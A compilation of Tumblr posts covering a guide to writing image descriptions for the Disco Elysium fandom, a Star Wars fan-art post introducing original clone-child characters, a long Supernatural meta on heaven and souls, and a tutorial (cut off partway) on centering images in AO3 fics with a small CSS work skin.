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army-of-bee-assassins · 2 years

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Hi Disco Elysium fandom! If y'all have noticed me and a small group of other users here adding image descriptions (IDs) to your posts, and if you want to know more about why, then I have some relevant information for you here! Namely that:

The ultimate goal of those adding IDs is for as many people as possible to include image descriptions in their original posts!

I'm gonna get into the details of image descriptions (like how and why to write and reblog them) down below, but I just want to state some things from the get-go:

A post that's accessible from the start is much better than one that's only accessible in the notes. Ideally, accessibility should be included in the original post. That way, blind and other disabled people don’t need to go searching for content they can access. It is everybody's responsibility to foster an accessible and inclusive environment! That's the only way it's even possible, actually.

Also, there are far too many new posts in the Disco Elysium tag every day for a small number of people to describe them all. It's great that there's so much new content every day! But a good 98% of it is completely inaccessible, and - considering there's less than 10 of us who are regularly writing image descriptions in this fandom - it is simply impossible for us to keep up with it all. Even if someone has described your posts in the past, that does not mean you can assume that they’ll definitely describe the next post you make (not without directly asking, at least).

This is why it's important to 1) write your own image descriptions and 2) if someone else writes an ID for your post, edit it into the original post itself instead of just reblogging it (no credit is necessary).

If you want any help writing IDs (including if you want to ask someone to just write the whole thing for you), there is a (non-fandom-specific, accessibility-focused) discord server for that! Here is the link to join the server. It is very active, and I have used it myself for help with tricky IDs many times and gotten pretty quick responses.

Now, on to actually talking about image descriptions themselves! I promise, they're not as difficult or time-consuming as you may think. And I swear to you, fanartists - people will still reblog your art with a description. They're not ugly or taking up too much space. I have some great examples at the end!

Why write image descriptions?

Image descriptions explain what an image is of for people who would otherwise not be able to access it. They are necessary for blind people. Many blind people use a text-to-speech program called a screen reader, which reads text aloud. When it comes across an image, the screen reader will just say "image" and the user will have no idea what it is an image of. IDs are a solution to this problem. After the screen reader says “image,” it will then read the image description aloud. However, not everyone who needs image descriptions uses a screen reader! Some people are low vision and have trouble seeing what's in the image but can still read text visually. Some people have a hard time processing visual information and interpreting what's happening in an image. Some poor and rural people have weak internet connections and images never load. And sometimes the image is of grainy text and it's difficult to read. Image descriptions are a benefit to people in all of these situations.

Can I just use alt text?

Alt text makes the image accessible to people who use screen readers. Someone without a screen reader can also click through to alt text on a desktop browser. However, there is no way to access alt text on tumblr mobile without using a screen reader, and needing to click through to see descriptions is not ideal either. Therefore, alt text is not accessible to everyone who may need an image description. Until tumblr makes alt text easily visible to everyone who wants it, it is always going to be best practice to write an image description under the post as well.

Please use both alt text and an image description in the body of the post.

Can you put the image description under a read more and/or use small/stylized text?

Please don't do this! The small/stylized text is an obvious one. As mentioned earlier, some people who need image descriptions are low vision but do not use a screen reader. Using small or stylized text is obviously a detriment to them. It can also cause eye strain and headaches.

The read more thing is less obvious, and unfortunately something I see fairly often. Imagine for a second that you are a person who needs image descriptions. Now imagine that in order to get the full content of every single post with an image on this website, you had to click through a read more and - on mobile - fully navigate away from your dashboard. Every single time. This wouldn't feel very accessible, would it? And secondary to that, if you ever deactivate, then that ID that you put under the read more becomes completely lost to time.

I promise your description is not too long. Just use plain text and keep it in the main body of the post.

Why should you check the notes for an ID before reblogging an inaccessible post?

You may think that if a post has an ID in the notes, then anyone who needs that ID will just go into the notes to find it themself. However, this runs into the exact same issue as the read more thing: it's straight-up bonkers to expect people who need image descriptions to do this on every single post they come across.

Instead, you can easily start making your blog more accessible by checking the notes yourself and making an effort to spread accessible versions of posts! This is a wonderful way to start making your blog more accessible, especially if you're not someone with the ability to write image descriptions yourself! When you spread an accessible post, then the people who follow you will spread that version too, and it can become more widespread than the version without an ID. The more people do this, the easier it becomes for people needing image descriptions to come across them naturally on their dash!

Checking the notes for an ID is now easier than it has been in the past. In the notes, filter them down to reblogs with "comments only". This should show you an ID if there is one. Unfortunately, on posts with more than about 1000 notes or so, this feature doesn't seem to work as well (and tumblr staff hasn't fixed it since the new notes system was implemented, despite numerous complaints). The ID may not show up even though there is one. You can still scroll through the reblogs sorted down to "comments and tags" to find the image description, though this will take slightly longer. However, even on posts with thousands notes, it usually takes less than 60 seconds.

How do you write an image description?

I promise this part isn't as hard as it seems! I'm gonna link to some posts where people have explained things better than me in just a moment, but I'll just say: Any description is better than none. And even in a super detailed photograph or piece of art, you don't necessarily have to include everything. Zero in on what's most important in order for someone to understand what's going on in the image, and focus on that in your description. Not that you can't include the cool details when they're there! Just try not to get too bogged down in it.

My friend JD has a few very helpful posts about how to write image descriptions that I'm gonna link to here:

How Do I Write Good Image Descriptions?

How to Make Your Art Accessible

I also wanted to link to some great examples of Disco Elysium fanart with IDs written by the OP! Example 1 - by funnywormz Example 2 - by mascindulgence Example 3 - by empress-s

And lastly, I wanted to talk about the most common kind of screenshot in this fandom: dialogue screenshots. I have a very useful Google Doc here where I have compiled every bit of dialogue I have ever transcribed from Disco Elysium screenshots. A lot of the same quotes are very popular, so it's very easy to just ctrl + F and then copy and paste into your image description! And after the almost one year I've been doing this, there's a whole lotta game dialogue in there. If you take a funny screenshot of dialogue from the game that you want to post, there's a good chance you can find what you're looking for in that document!

I'll wrap this up with an example of one of these dialogue screenshots with a description. I make all the names lowercase (despite them being all caps in the game) because screen readers will sometimes read all caps like an acronym and just spell words out. Otherwise, it’s pretty much just a straight transcription of the text in the image.

[image description: A screenshot of dialogue from the video game Disco Elysium, transcribed below.

You - Look at the perforations.

Damaged Ledger - There are many of them. And they are divided into three separate rows.

You - Tally up the different rows.

Damaged Ledger - The first row has 18 dots.

You - Not bad.

Damaged Ledger - Not bad for what? You don't even know what it means yet. End ID.]

And that's all there is to it. As always, feel free to reach out if you ever have any questions!

#disco elysium #long post #image descriptions #accessibility #thank you so much to my friends for feedback and editing!!#for some more context on the ''too many posts every day for us few people to describe'' thing #i have about 700 drafts - of which probably about 650 are undescribed disco elysium posts #that number has only gone up and up and up even though i write ids almost every day #this is simply an impossible task without more people taking responsibility for accessibility in their own posts #if you appreciate when people write ids for your posts then i strongly encourage you to take a stab at writing them yourself #i said it like five times in the post itself but i'll say it again: it's really not as hard as it looks

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rai-knightshade-art · 2 years

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Young Jedi Knights!! Or, ok more accurately they're old enough to be New Jedi Order/Fate of the Jedi/etc etc era but I'm ignoring, like, all of that. So.

@lizartgurl you know that scene we low-key talked about? I drew it 😅 nothing like a good set of parallels in your star wars fan art!

And I'm also of the opinion that Zekk's dynamic with the twins when they were younger is basically 50% Off Makoto and Nagisa, so i present Zekk, explaining one of his many adventures to a pair of kids that i will explain below the cut because their story is... Complicated, and started literally a decade ago 😅

More details and closeups below the cut, image IDs in Alt Text as always!

So i don't think I'm gonna get into the full "story" for these kids on this post, I'll do it on the next one, but I'll give you the lowdown on the kids themselves and the inciting incident:

Roughly 10-ish years after the Shadow Academy incident, a raid on a cloning facility by Zekk, Anakin Solo and a handful of other Jedi goes spectacularly sideways when the "theoretical" genetics experiments they were expecting turned out to be four very real younglings with a startling resemblance to certain key Jedi Knights. It'd been run in secret by Brakiss (who totally survived the destruction of the Shadow Academy don't even worry about it) as a way to revive his Dark Jedi efforts. He "procured" the DNA needed while the Shadow Academy was active from successful (and nonsuccessful) Dark Jedi, and decided if he couldn't kidnap his way to having his Dark Jedi, he'd make them instead, starting by combining the DNA of his Darkest Knight and that pesky Solo girl (she was annoying but extremely powerful, a perfect candidate for the project). The project continued in secret for 10 years before Master Skywalker caught wind of it and sent in a Jedi task force to take it down. Imagine their surprise when they find four kids in amongst the scientists and stormtroopers!

Starting from oldest to youngest, they find:

Ani: 14 (physically, 10 chronologically), eldest of the "test tube" kids, the biological son of Jaina and Zekk; he inherited their love of mechanics and all things spaceflight and wants to be a pilot when he grows up. The defacto leader of the group by virtue of being oldest. Dotes on his baby sister like nothing else, but is otherwise very standoffish and closed off, hiding behind sarcasm and rude quips in order to protect himself and his little family. Had a force vision when he was 5 of a dark haired woman calling for someone named Ani, and decided that that would be his name (rather than the number he was given).

Bail: 10 (physically,6 chronologically), biological son of Jacen and Tenel Ka, very quiet and studious. He read as many holobooks as the scientists would let him have (and snuck as many as they wouldn't), and is a regular fountain of knowledge if you can get him to open up. He's particularly interested in the histories of the Jedi from long, long ago. Named himself after an old politician he read about from the Old Republic, said to be a friend of the Jedi.

Marai: 8 (physically, 4 chronologically), biological daughter of Jacen and Tenel Ka, she's a regular chatterbox, asking as many questions as she can get away with from anyone who will listen. The only time she seems to quiet down is when she's gardening; she has an affinity for plants, able to sense them and help them grow. She has a particular fondness for carnivorous plants, a fact which the other kids find a bit unnerving but she swears they're harmless to humans! ...probably. None of the others know quite why she decided to call herself Marai.

Jasa: 5 (physically, 1 chronologically), biological daughter of Jaina and Zekk, the baby of this rag tag little group. She's a bright ball of sunshine and cheer and boundless energy, able to cheer up even the most dower of her stormtrooper guards. She sees the good in everything, not fully realizing the extent of what's happening around her but also keeping hope alive in the older children, especially Ani. Similarly to her older brother, Jasa also had a Force vision when she was 5, hearing someone call for a Jasa and taking the name for herself.

Of note: the kids' growth was programmed to be faster than normal up until age 5, when it slowed back down to normal; they reached the equivalent of age 5 within about a year of their "births". As such, their apparent ages and their chronological ages are off by about 4 years

The concept for these kids was started about 10 years ago, when i was 14 and had just started reading the Young Jedi Knights books that I'd gotten from my dad. I really loved seeing fankids at that time, so I'd decided to create my own for my favorite ships! But, of course, i was 14 and "edgy" and I'd been reading the Maximum Ride books too, so i decided, Regular-ass fan babies? Nah. Secret lab-grown fan babies? Yeah. And the original 6 Test Tube Babies were born! (Yes, i said 6, not 4; i originally included a pair of Anakin/Tahiri kids with the Jaina/Zekk and Jacen/Tenel Ka kids. I took them out for this iteration though cause a) I'm not even really sure I ship them now, and b) i don't remember how the kids came to be initially but with this backstory using Brakiss, idk how he would have Anakin and Tahiri's DNA, so. Rip to Zeke and Bekka you will be missed.) I might share the og designs for the kids in another post some time, but for now, here ya go! (And if you've read through this entire explanation, thank you and kudos, but also my condolences. 😅)

#young jedi knights #star wars eu #star wars legends #jaina solo #zekk #jaina x zekk #zekkna #fankids #jacen x tenel ka #oc: ani solo #oc: jasa solo #oc: bail djo-solo #oc: marai djo-solo #myposts #myart #au: test tube babies

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incarnateirony · 4 years

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That heaven meta you wanted

And a little more on souls, but I already have a 40 page meta on that topic in particular.

So someone asked if I had heaven meta, and I pointed out yes, but littered through many other topics involving things like souls, false duality, absence, the One True Thing and whatever else in my crazy-ass pagan life tag.

So the first cue here is to absolutely stop thinking of heaven as a place. The beginning mental exercise in abstraction is to apply two things.

One from Dabb’s Dark Side of the Moon: It’s “A bunch of places.” also, from 15.13, I want people to niche talk of the Occultum. It’s a Place, and a Thing. It doesn’t exist in any particular created space, but rather, outside of a particular space.

I find that in our training to think inside three dimensional space and linear time, certain details of all of this get lost. The one “place” to consider will be the Axis Mundi, and “The Garden.” -- the Axis Mundi as the road of thought that ties it together, perceived as a white hall by angels or anything from a river (like Styx) or a road (for Dean) to man. Just like in DSOTM, “for some it’s god’s throne, for others it’s Eden” at the “center of it all”. Angels perceive god’s throne. The Winchesters perceived a garden, they just perceived a different garden than Jack’s baby brain. Yes, I am implying the occultum is essentially the same place as god’s throne despite the absence of angels, and even that paradox is something I’m going to touch on inside this.

Now before I get into making everyone have to think like delirious stoners, I’m going to share with you one delightful mental image of, in DSOTM, Zachariah actually sighting Dean toot tooting down a white hallway floating on an invisible car only he perceives.

Okay, now, to the real meat of this.

Have we all stopped thinking of heaven as a place yet? Because again, stop. Stop thinking of it as a place. It’s a lot of little non-places. It is not in our three dimensional universe. In fact, our three dimensional universe may just be tucked inside of one of a million little pockets of the heavens. The idea of the heavens should not be broken down and tried to pack to make sense within the universe, but the universe should be made to make sense within the heavens.

ASH: See, you gotta stop thinking of heaven as one place. It’s more like a butt-load of places all crammed together. Like Disneyland except without all the anti-Semitism.

Dean and Sam still look confused.

SAM: Disneyland?

ASH: Mm-hmm. Yeah. See you got Winchesterland. (He holds up his hands to indicate the bar.) Ashland. (He points all around outside the bar.) A whole mess of everybody-else-lands. Put them all together: heaven. Right? At the center of it all? Is the Magic Kingdom. The Garden.

For now I’m going to forego arguing the absurdist circles reads on this section of canon and explaining fundamental things like Ash as an unreliable narrator and how honestly absolutely fucking irrelevant and outright hysterical that this is what the fandom focuses on rather than the whole vat of cosmoconception, gnostic thought and baudrillard ideas floating around in here, sure, we’re gonna bicker with alt shippers over them misreading what Ash says about soulmates, an idea that didn’t even exist mythologically until the 19th century --lol, we’ll move past that and focus on the meat.

The center of it all is the garden. Check.

Like, meditate if you need to. I need people to let that go. Let go of old fandom wank. Let go of heaven being a space, but rather a lot of nonspaces. Time is not a thing there. Space, really, is only as far of a thing as people perceive it within their own little mental domains. Perception rules all.

Heaven is the place of the Mind.

CASTIEL: (on radio) Please, listen. This spell, this connection, it’s difficult to maintain.

DEAN: Wait. If I’m in heaven, then where’s Sam?

CASTIEL: (on radio) What do you see?

DEAN: What do you mean ‘what do I see’?

CASTIEL: (on radio) Some people see a tunnel or a river. What do you see?

DEAN: Nothing. My dash. I’m in my car. I’m on a road.

CASTIEL: (on radio) Alright. A road. For you it’s a road. Follow it, Dean. You’ll find Sam. (The radio is breaking up.) Follow the road. (The radio dies.)

And importantly,

SAM: This is heaven’s Garden?

DEAN: It’s-it’s nice… ish. I guess.

JOSHUA: You see what you want to here. For some it’s God’s throne room; for others it’s Eden. You two, I believe it’s the Cleveland Botanical Gardens. You came here on a field trip.

So beyond this, the only other mention we have of the axis mundi if you search supernatural transcripts is in Inside Man, where the hallway is acknowledged in unspoken text in Inside Man, when Bobby breaks out of his little mental box with Sam’s prompting.

“Axis” remains the same from Latin. “Mundi” means:

toilet/dress (woman), ornament, decoration (uh, not this one)

universe, heavens (this one)

world, mankind (and this one)

Both of these ones. Bear through.

Now, this tracks, actually, if you think about heaven’s perspective there as from the angels we had the previous view seasons. We see the human perspectives in their own boxes, but when they step out rather than seeing a river, or a road, we see a white hall. These white halls, however, do lead to a white throne room that was god’s, rather than the road leading to a garden.

So again, You see what you want to here. For some it’s God’s throne room; for others it’s Eden.

Okay, so, let’s recenter this, using Ash’s statement, at “the center of it all.” -- the garden. The Axis mundi flows to/from it, and along the way the “heavens” are there, but “heaven” as an idea comes with a lot of dogmatic associations I think makes people dig in their heels a little bit and think in... well, boxes. So instead of calling these “heavens”, moving forward I’m going to call them Thought-Boxes, alright? I want to detach any sort of christian coding you’ve attached to this in your brain and think about them as Thought-Boxes built by memories of the people using their greatest hits.

So let’s talk a little bit more about these Thought-Boxes. For example, in Byzantium, we see Jack in his own. During his time there, he’s living a greatest hit from around the time of Tombstone that was sort of an offscreen fill in. Now, Jack -- possibly from being half angel -- starts experiencing “seeing through” the parts that don’t make this real. There’s a break, a glitch if you will. The people that are there simply aren’t there. There are no souls to these, maybe there’s not even bodies.

But despite this, even once he vacates, the place maintains physical properties. The physical props are there. They detect that Jack had been gone because his burger went cold. This seems like an irrelevant detail but it very much is not. I’m going to ask everybody to put a tack in this.

We can go on about the idea of abrupted memories leading to disappearing people in, for example, Dark Side of the Moon again. Fizzlefffft, baby Sam was gone once Dean cued into something not being right. But the environment remained, this imprint of a built space, a shadow of a memory.

But I’m going to go on to Thought-Boxes. Because Thought-Boxes don’t end at these heaven things. Thought-Boxes were with GadreelSam, with Casifer, with DeanMichael. I’m sure everyone wants to say “That’s not the same!!!” but... is it really different?

(Distantly hears someone yell YES)

No.

(YES)

No.

(Y-)

No, it really isn’t. Even ignoring the onset of the fact that entering Dean’s headspace in Nihilism was reflective of the Empty itself, there’s even more to this.

CHUCK:

Listen, you guys know me.

I'm hands-off.

I built the sandbox -- you play in it.

You want to fight Leviathans?

Cool. You got that.

You want to go up against -- what was it? -- the "British Men of Letters"?

Okay.

Little weak, but okay.

Okay cool, while this right here also had a bunch of subtext: such as, Chuck sort of entailing how he keeps them occupied, or that he built the sandbox but not the brings playing inside of it, I’m going to roll people back to remember what was going on inside Michael-Dean’s head, where Dean stayed complicit from a mix of contentment and battle.

SAM Cass, wait a second. Would Michael bury Dean in trauma?

CASTIEL (dropping his hand and turning towards Sam) What do you mean?

SAM I mean, Michael said it himself. The reason he left Dean in the first place was because Dean was fighting back so hard.

CASTIEL So, if Michael wanted to keep Dean placated...

SAM Dean thrives on trauma. I mean, he's had to his whole life, right? It keeps him alert, keeps him ready, but if I wanted to distract Dean, I-I... I'd give him something he's never had before.

CASTIEL Contentment.

SAM Exactly.

So maybe, instead of looking through his bad memories, maybe let's, uh... maybe let's look through his good memories.

Hmm. HMM. Where is this familiar? Thought-Boxes. Oh, and Thought-Boxes. Now, if you have ceased to think of heaven as a single place, but rather an infinite amount of non-spaces connected by a line of the mental road-- and I haven’t even GOTTEN to the Occultum part yet-- this should be ringing some bells right now.

DEAN It'll hold. My mind, my rules.

I got him. I'm the Cage.

Do not forget this. DO NOT FORGET THIS.

Now before I even deviate back to the full meaning of the Occultum, which will roll us back to the garden and the throne, I have a question for you: how is this different from Chuck having dominion in his own world? I mean people wanna yell IT’S REAL WORLD but I’m going to need everyone to stop. Because again, heaven is not a place within the universe. The universe is a place within the heavens. What divides it from being another Thought-Box beyond the fact that there are real souls in it, real people to have real experiences with?

This is actually the philosophical question of 15.2, but I’m not even ready to cross that bridge yet in this post. Thumbtack after thumbtack to keep track of, I know, but I’m getting to a point, I swear.

Chuck says in season 11 to Amara, “There’s a beauty, a glory in creation that’s greater than my pride or my ego. It was just there, waiting to be born. Since you’ve been free, I know that you’ve seen it. Felt it?” and looked to Amara. Amara also holds dialogue that Chuck and Amara were only Great because they stood in relation to each other, and he created the archangels to feel BIG, to make him feel LARGE. It was ego.

But that was just the beginning. This is... the rest.

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Tick, tock, tick, tock.

What is it that keeps the world tick tick ticking in the absence of his oversight while he tries to corral stories for his Vision(TM)? Well, there’s a swiss watch, not too unlike hitler’s swiss watch that was like a horcrux, which saved his soul. But minding that the heavens themselves are timeless, what is it that commands that men live and move and eventually time?

Tick, tick, tick, tick.

God beholdens man to time. Because his own body is a cage. And I’ll even expand on that. And then, in confusion and fear, desperation to cling to life, one of several things happen.

Death is an infinite vessel.

I built the sandbox -- you play in it.

TESSA!REAPER It's my sandbox, I can make you see whatever I want.

...Death is an infinite vessel.

So let’s play a game. The clock stops for a person when the reaper comes to collect. Their time marching forward from Chuck’s sandbox, built over an infinite vessel of death, a firmament in which it exists-- that stops. They lose that cage, but may or may not still try to attach themselves to a universe.

They can no longer play in it properly. They watch it go by without them. They lose their minds, watching the things and people they love continue without them. They go mad and increase in power in spirit, and sometimes do lash out and become something else entirely.

T!REAPER Well, like you said. There's always a choice. I can't make you come with me. But you're not getting back in your body. And that's just facts. So yes, you can stay. You'll stay here for years. Disembodied, scared, and over the decades it'll probably drive you mad. Maybe you'll even get violent.

DEAN What are you saying?

T!REAPER Dean. How do you think angry spirits are born? They can't let go and they can't move on. And you're about to become one.

So what happens to those that do move on?

CASTIEL: Each soul in heaven is locked in its own private paradise. That's where you are now. You need to escape. You need to find the gate to earth and open it. Then you and I will find Metatron, the Scribe of God.

[...]

BOBBY: So, while I'm playing Steve McQueen, anyone gonna be looking for me?

CASTIEL: Everyone. The Angels will not like a soul wandering free.

First of all, Dabb using “locked” is not a fluke. Notice the phrasing. Locked. Escape. “The angels will not like a soul wandering free.” Heaven has become a caging system, and it is patrolled by the forces Chuck created to be those who execute his will, wavelengths of intent created by grace that, in theory, do not have their own souls*

I’m not going to go into the entire breakdown of why I hold Castiel has something of a viable soul as a deviation, because that’s it’s own meta and this is going to be ridiculous enough, but we need to stay on the ~general~ topic of heaven and souls and Thought Boxes.

Because this isn’t new either.

SAM

Since when do angels feed on humans?

HOLLOWAY

Since the dawn of man.

SAM

What are you talking about?

HOLLOWAY

Your souls... Are little slices of heaven.

SAM

And they've been hunting humans, making them create heavens in their minds and feeding off them.

Hopefully I don’t have to dig all the way back to remind everyone of the premise of the entire season 6 plot or the final point of S11, where human souls are the ultimate infinite power reactor, and he who has the most souls is god (and able to defeat the darkness, too), right?

We all are vaguely aware of that at least, right? That was the entire Castiel dark arc and why he tried to soak up Purgatory and declared himself God, right?

Okay.

So with that in mind, let’s look back at the watch--it’s like a horcrux. GodHitler saved Their Souls. Their Literal Souls. Tick, tick, tick. Man remains subject to time. The angels won’t like a soul wandering free. Tick, tick, tick, tick.

But that’s still just the beginning. This is... still the rest.

“The light was a LIE.” - Amara.

He who has the most souls is god. What puts off more light and energy, what do angels feed on, what do they fight to keep contained, what gives god his power, why must they remain caged? If I wanted to keep Humanity placated, I’d give it Contentment. Locked in its own little personal paradise. You have to escape. But angels won’t like souls wandering free.

“In the beginning, there was just me and sis. But I wasn’t satisfied.”

Your story. Not mine. Not ours.

“There are billions of us,” Kali decreed, “And we were here first.” - Hammer of the Gods, Dabb.

People think this stands in contrast with the idea of late seasons, under Dabb era, but I invite you to continue breaking the linear thought box.

If for example, there was something in creation greater than his pride or ego, waiting to be born--something that just is, as chuck and amara just were--maybe something just sleeping, waiting to find a meaning to exist, perhaps even a hidden forefather of the idea of Being and Absence that is Chuck and Amara, as darkness is only the Absence of Light--and if there was a glory in chuck’s creation greater than his pride or his ego that just happened to be born, only to reject him?

What was the mother of monsters? Eve. She was thrown to purgatory. Coincidental name?

THE GIRL: You must not be human. Humans may not enter here. Are you an angel?

JACK: Um, it's a long story. Why do humans have to stay out?

THE GIRL: This is the Garden. Man's beginning.

JACK: You mean...Eden. Like Adam and Eve?

THE GIRL: God loved them so. His prize creations, until he banished them and all of mankind from the perfection of the Garden. And he hid it away.

Alright so ignoring creepy girl sort of absent spitting Chuck propaganda while vague floating around, let’s actually pick at this while doubling back:

SAM: This is heaven’s Garden?

DEAN: It’s-it’s nice… ish. I guess.

JOSHUA: You see what you want to here. For some it’s God’s throne room; for others it’s Eden. You two, I believe it’s the Cleveland Botanical Gardens. You came here on a field trip.

Okay, remember the above commentary? About throne vs garden, and hidden away?

So a creation greater than his pride or his ego simply was in the first Thought Box designed. This is the literal original Thought Box. This is where man in its purest form cropped up. I do beg you to ask though: minding that this is where Jack was reborn in Soul, are we entirely certain the idea of a body is even mandated in what defines humanity at this point?

And moreover, why did Chuck hide it?

In other posts, I’ve covered how Jack’s dialogue with the snake is a reflection of the dialogue of Poimandres from the Corpus Hermeticum (x), and I’ve been banging on with that accursed chart you’re all probably sick to death on about the stages of development, but hopefully I’ve ingrained that into some of your subconsciouses by now.

CASTIEL: Yeah, he is. But, um, something's different. Jack is, uh -- well, he's been to the Garden. That's the crossroads of divinity and humanity. No one's been there since the exile till now.

The crossroads of divinity and humanity is man’s beginning. You might even call it the... AXIS MUNDI. The AXIS. Of HEAVEN AND MANKIND. Also I have another post about “the union by which life exists” (x) and if you dive into the source text linked in the Jack post you’ll also read about that idea too. And that’s without even going into me sobbing violently about the use of the Occultum itself, which it and its verse is part of the Art arcana with all the Thoth tarot stuff I been talking (x)

This union isn’t even new to SPN, it’s just been more low-key. For example, in “The Thing”, the alternate god pours out human blood as “Light” and grace as “Life.”

At a quick glance at the fandom, this seems backwards, unless we review that Chuck’s light was a lie, and that all things divine are powered by the soul as the One True Thing -- a whole alchemical thing you’ll find me spraying about in my souls, pagan life and general my meta tags. The very line Cas had about Absence of Good even comes from this, but I’ll diverge into that at a later time.

If the constructed mental universe, Chuck’s Thought Box that the humans are shoved into in bulk after the exile from the garden that he hid away, is what have the cages of bodies subject to time, then grace is ironically Life as we know it, as opposed to eternal light, whereas souls powering it are the true Light, but by it Life As We Know It Exists.

Now Chuck can punish those who rebel, retrofit them with cursed bodies like monsters or even, say, pagan gods that then catch the flack of blame despite “being there first.” be that being on earth before angels came kicking around or being in the proverbial nonspace before Chuck kicked them out of his pet project for being uppity.

In fact, does anyone notice the Leviathans and Shadow are not so different even in appearance? But they never got the development of a true life, they never got to explore themselves, they were only quasi-dark-divine beings left to suffer and eat each other and birthed what we call “monsters” which also, well, have souls.

So no, there’s not even a break in continuity with the pagan god timeline, it just takes breaking the linear thinking box going on, especially three dimensional+time based thinking. Because we’re operating outside of that. Circle back to beginning: Stop trying to make heaven function within the universe. Remember, the universe functions within the heavens.

But god hid the first Thought Box away. The Garden. Which is at the center of it all, the magic kingdom. Which some people see as god’s throne. Angels. See it as god’s throne. There, at the heart of the mundi. The beginning, the center, and the end.

Humans aren’t allowed there.

Angels don’t like souls wandering free.

Chuck made them to feel big.

And Humanity stays placated with Contentment.

In order to be in the occultum, the occultum must be in you.

Or as it is in alchemical practice:

VISITA RECTIFICANDO INVENIES OCCULTUM LAPIDEM = visit the interior parts of the earth ; by rectification(purification) thou shalt find the hidden stone.

The philosopher’s stone isn’t a literal rock, it’s a manifestation of completion, finding the true self, making gold from the reflection of soul as the true thing through mind by exploring the body, both personal body and body of the earth.

These stages I’ve gonged on about start at phase one: Blackness, the Blackening, represented by the Inky Man and called the Shadow. This is not actually different from Jung’s use of the Shadow either.

The Shadow. The Thing that Rules the Empty, that was there before Chuck and Amara, and has no meaning to exist, who knows everything about you.

Can you throw a soul to the empty? Sure, I guess. Are we so sure that doesn’t just return you to the source? Even Amara says that when she eats souls, they live on as one within her. But if you are Within Absence, are you not simply Outside of Being?

If you dig deep enough in my pagan life or my meta tags, you’ll find me banging on about cosmoconception between the two, but it is fundamental to understand that the Soul even in alchemy is the One True Thing. The Mind reflects it, and by reflecting the Soul, it not only Observes but Creates the Body of the self and the World.

So again I point back up to stuff like Thought Boxes and Chuck as the Mind, and the maker of the first Thought Box where something had just been waiting to be born that was greater than him.

Who are you? Who are you meant to be?

I know who you hate, I know who you love. What do you want? Who are you? WHO. ART. THOU.

These are the critical stages of development, not even minding stuff like

I’ve gone on entire goddamn rants about the use of the blossom born out of putrefaction in purgatory, or the very meaning of putrefaction in the alchemical process: the breaking down and decay of a material of being to its blackened (shadow) state that leaves room for new growth to build on it over again.

If you skim these charts even passingly, which I have been posting on a loop for like 2 goddamn years, you’ll realize over those years Dabb has been playing paint-by-numbers across these points, because just like the other gnostic books or alchemical paths or cards I source, he’s using the source material. Just like Castiel’s quote about the absence of good. It’s all there.

This is ultimately an *aside* in a talk about Thought Boxes, but something worth touching on while we struggle across issues like the Soul, the Thought Box, and ultimately The Shadow. Because the Shadow is little more than the Shadow of man, often called in Alchemy The First Adam or The First Man. It is something beyond creation, even beyond the heavens, a paradox of itself I’ve spoken of before. Chuck is the demiurge religions call god; the Shadow of Man is the true god, and yet by living through the creation of the demiurge Logos, can become a more perfect god.

So rolling back to point:

In 15.2, Dean has a meltdown. Nothing in their lives is real, he declared. It was a dark and painful scene, but I feel in many ways fandom is still struggling to get past this road bump in the cosmogenic structure. What’s real then? Do they fight to go back to earth once they beat Chuck?

*pulls your thought box out of Chuck’s propaganda machine and HIS thought box*

The magic kingdom. The center of it all. The place man truly belongs. The throne. The garden. A nonplace and a thing hidden away and kept under lock and key and patrol.

What’s real? People, families. We are. Souls. That’s real. Souls are what power it all. Souls are what make one god. Souls are people and families. We are. Everything else here is commentary. They’re created spaces. And we can even create our own. The problem being we are caged apart in Chuck’s system to keep people placated, keep them in a system of control once his games subject to Time are done, but they stay distracted, never together, never able to resist.

...Open the door.

Just like Chuck did hell. Open the door. Open all of the doors. Set man free. Let him retake the throne, let him retake the garden. Let the walls be torn down and let them build new and infinite worlds.

Earth would be one of many heavens to still exist, but if Chuck was unplugged from controlling the souls in his codex of time, what power does he have? Nothing. Because the souls are God. Chuck is just a mind among many then, and those minds have since built diverse experiences inside the machine to create their own.

Sure, don’t just collapse earth. There’s still billions of us (hah, thanks Kali) that still have lives to live and decisions to make and autonomy to be had, loved ones to find. But free them of Chuck’s influence, build a better world, and leave a liberated heaven to enter.

I have propositions on the what-and-how this will go, among other things, but that’s beside the point in this already very long post.

If you’re still confused, I encourage you to view any of the videos I’ve posted over and over and over again, or skim my pagan life tag, or souls tag, or any of the related tags of this and, worst case if you’re still confused, send me an ask.

But the real reason Chuck banished Her? Why She Couldn’t Be Allowed To Exist?

He couldn’t stand it.

He knew they were equals.

#supernatural #spn #heaven #souls #pagan life #meta #my meta

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ineffablefool · 4 years

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How to center and nice-size an image in an AO3 fic using a work skin

Maybe someone can use this? In my fic for the DIWS Good Omens Mini Bang, I embedded some images from my wonderful illustrator. The centered images will never be wider than the text, no matter the screen size, but they also are never stretched larger than their native size (I resized ‘em to 800px wide in my trusty paint program for faster downloading). Here’s how one looks on my giant monitor and on my phone screen:

If you have never done AO3 skins before then I promise they are not actually scary! You have the option of doing relatively complicated things with them, but this thing is simple.

Anyway this is how I center my images.

Step one: make a skin.

In your AO3 dashboard, click “Skins” in the menu (left or top of page, depending on if you’re on a big or small screen). This takes you to the Site Skins page, which are for if you want to make all of AO3 look different to just you. You want a Work Skin, though, which makes your fic look different to everyone, so click My Work Skins.

Click Create Work Skin in the top right and you’ll get an editor that’s similar to when you’re posting a fic! You only need to set two things. One, give it a title that makes sense to you (the title won’t be visible to people reading your fic). Two, paste some stuff into the big “CSS” box.

This is the stuff to paste:

.centered { margin-left: auto; margin-right: auto; text-align: center; }

.centered img { max-width: 100% !important; }

That was the stuff to paste! Just toss both of those two blobs in the big editor and click Submit. Now you have a skin!

Step two: use the skin in your work.

Open up the work you want to do this in. Find the Select Work Skin box (just under the Choose A Language box) and select the skin you just made. Yay! Sorry, the Homestuck and Undertale ones are just there for everyone and that’s how it is. (Nothing against Homestuck or Undertale. I just don’t like unneeded entries in lists.)

Step three: center your image.

This is the most complicated bit, only because I can’t give you an exact thing to copy-paste. But I can give you a basic template! Don’t try to paste this into Word or a similar word processing program. The quote marks could get turned into “smart quotes” (like the ones I typed there, just now -- see how the opening and closing quotes are different from each other?). If you need to save it off for later, Notepad or another very simple plain-text editor will be perfect, because it will keep the quotes as not smart quotes.

Find the spot in your AO3 work where you want the centered image to be. It would be between two blocks of text which are wrapped with tags, so something like this...

Into that space, you’re gonna hit Enter a couple of times (which I’ve already done in the screenshot) and then paste this block:

That was the block to paste. Before you’re done, you need to change two things!

